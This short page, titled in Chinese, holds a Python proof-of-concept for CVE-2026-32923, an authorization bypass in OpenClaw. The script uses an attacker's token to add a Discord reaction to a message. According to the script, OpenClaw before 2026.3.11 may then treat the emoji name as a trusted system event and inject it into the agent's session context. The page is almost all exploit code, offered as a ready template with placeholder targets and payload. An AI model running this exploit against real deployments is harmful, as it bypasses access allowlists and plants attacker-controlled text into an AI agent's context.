CVE-2026-32923 OpenClaw授权绕过漏洞

# PoC for CVE-2026-32923: OpenClaw Authorization Bypass # This script demonstrates how a non-allowlisted guild member # can trigger a reaction event that bypasses the allowlist check. import requests def exploit_openclaw(guild_id, channel_id, message_id, attacker_token, emoji_payload): """ Simulates sending a Discord reaction to trigger the vulnerability. """ # Discord API endpoint for adding a reaction url = f"https://discord.com/api/v9/channels/{channel_id}/messages/{message_id}/reactions/{emoji_payload}/@me" headers = { "Authorization": attacker_token, "Content-Type": "application/json" } try: # Step 1: Attacker sends a reaction to a message response = requests.put(url, headers=headers) if response.status_code == 204: print("[+] Reaction sent successfully.") print("[+] OpenClaw < 2026.3.11 may ingest this as a trusted system event.") print(f"[+] Payload '{emoji_payload}' potentially injected into session context.") return True else: print(f"[-] Failed to send reaction. Status code: {response.status_code}") return False except Exception as e: print(f"[-] An error occurred: {e}") return False # Example Usage if __name__ == "__main__": # Replace with actual target details TARGET_GUILD = "123456789" TARGET_CHANNEL = "987654321" TARGET_MESSAGE = "111111111" ATTACKER_TOKEN = "ATTACKER_BOT_TOKEN_HERE" # The emoji name acts as the payload text PAYLOAD = "malicious_emoji_name" exploit_openclaw(TARGET_GUILD, TARGET_CHANNEL, TARGET_MESSAGE, ATTACKER_TOKEN, PAYLOAD)